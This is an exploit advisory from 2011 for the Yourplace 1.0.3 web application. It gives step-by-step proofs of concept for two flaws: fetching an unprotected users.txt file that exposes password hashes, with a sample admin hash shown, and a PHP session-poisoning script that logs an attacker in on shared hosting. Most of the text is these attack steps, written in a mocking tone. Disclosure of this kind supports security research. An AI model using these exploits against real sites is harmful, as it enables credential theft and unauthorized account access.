Yourplace 1.0.3 Credentials Dislcosure && Session Poisoning Vulnerabilities
by condis
04.10.2011
download : http://sourceforge.net/projects/yourplace/
1. Credentials Disclosure Vulnerability
Proof of Concept:
http://host.tld/user/info/users.txt
You'll see something like:
admin $1$DG3.QA2.$6WzBBJvwvtqzUBxZcD.dC1
Description:
There is no .htaccess rule which could deny access to users.txt.
Also it's pure stupidness to put sensitive data into txt files...
User password is encrypted using crypt() function where password
is user defined password, and salt is his login.
2. Session Poisoning Vulnerability
To exploit this vulnerability You must have account on server with
attacked application i.e.: in other domain (shared hostings)
1. Visit site you want to attack.
2. Create simple script:
<?php
session_start();
$_SESSION['username'] = true;
?>
save it on Your account, and execute via browser.
3. Refresh browser card with attacked site
4. You're logged in ... nice and easy, lulz...
